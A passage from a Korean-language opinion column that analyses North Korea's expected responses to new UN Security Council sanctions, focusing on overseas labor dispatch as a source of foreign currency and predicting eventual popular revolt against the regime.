넷째, 북한은 국제사회의 감시가 덜 미치는 해외인력파견에 의존하여 달러를 벌어들이려고 할 것이다. 유엔 안보리의 새 대북제재 결의안에는 당초 예상과 달리 북한의 노동자 해외파견에 대한 제재가 포함되지 않았다. 이는 인권적인 측면에서 논의돼야 할 문제라는 주장이 제기됐기 때문으로 풀이된다. 즉 제재안에 포함되지 않을 가능성이 크다. 문제는 북한이 대외경제 여건이 악화되고 무연탄 가격 하락 등으로 대외교역이 하락세를 보이자 노동력의 해외 송출이라는 새로운 외화벌이 방식에 집중하고 있다는 점이다.

 이와 관련해 북한 당국이 아시아, 중동, 아프리카 등의 20여개 국가에 5만~10만명의 노동자를 파견해 연간 2억~3억 달러가량의 외화를 벌어들이고 있다는 주장도 제기됐다. 지난 2013년 기준 중국을 방문한 북한 주민이 20만명을 넘어설 만큼 북한은 비상품 무역 활성화를 통해 외화벌이에 매진하는 추세다. 외교부 당국자는 "안보리에서 대북제재 결의안을 논의할 때 해외파견 부분에 대한 제재도 검토를 했으나 인권적인 측면에서도 봐야 한다는 주장이 있어 이번에 넣지 않았다"며 "강제노역과 임금 상납 등의 문제는 유엔 인권이사회를 중심으로 다뤄질 것으로 예상된다"고 말했다. 해외인력파견이 북한에게는 손쉽게 많은 달러를 벌 수 있는 효자대책이 될지 두고 봐야겠지만, 아마도 극도의 생계곤난과 미래에 대한 희망이 좌절되어 가는 북한실상과 바깥세계의 이상의 현실을 모두 체험한 해외파견근로자들이 다시 북한으로 돌아가 ‘꼬리없는 짐승’처럼 살기를 그만두고 대량탈북행렬을 이룬다면 그것은 북한의 아성을 허무는 중요한 계기가 될 것이다.

이상에서 대북경제재를 위한 안보리의 새로운 대북결의안과 북한의 예상대응을 살펴보았다. 유엔 안보리가 북한을 향해 초강경 경제제재를 실시하는 목적은 분명하다. 김정은이 더 이상 핵과 미사일등 대량살상무기개발에서 손을 떼고 정상적인 국가로 복귀하기를 바라기 때문이다. 그런데 김정은이 이러한 국제사회의 강경한 입장과 정당한 요구를 받아들일 대신, 인민이야 굶어죽든 말든, 아랑곳 없이 계속 유엔안보리에 강대강으로 맛선다면 북한체제는 그야말로 서산낙일의 운명에 처하게 될 것은 눈에 뻔히 보인다.

북한은 모든 생산수단을 국가가 소유하고 배급과 공급제를 실시하여 주민들의 생계를 이어나가는 체제이다. 그런데 식량배급제와 생필품공급제를 포기하고 주민들의 자구적 시장활동을 통해서 생계를 유지하는 제도를 만들다 놓고 국가가 주민들에게 베푸는 것이란 꼬물만큼도 없이, 오히려 각종 명목의 가렴잡세로 주민들의 재산을 수탈 해가다 보니 세계 그 어느나라보다도 통치효율이 높다. 즉 적은 돈으로 주민들을 손쉽게 노예롤 부릴 수 있다. 하지만 김정은의 통치자금이 고갈되어 주민들한테서 더 많이 수탈하려 들 것인데, 결국은 손에 든 마지막 생계수단마저 수탈해 간다면 인간의 본능이 발동하게 되며, 중동민주화혁명이 발달된 것과 꼭같은 대중적 저항과 봉기에 불을 지피게 될 것이다. 그런 날이 멀지 않았다는 다행스러운 기대를 가지게 된다.

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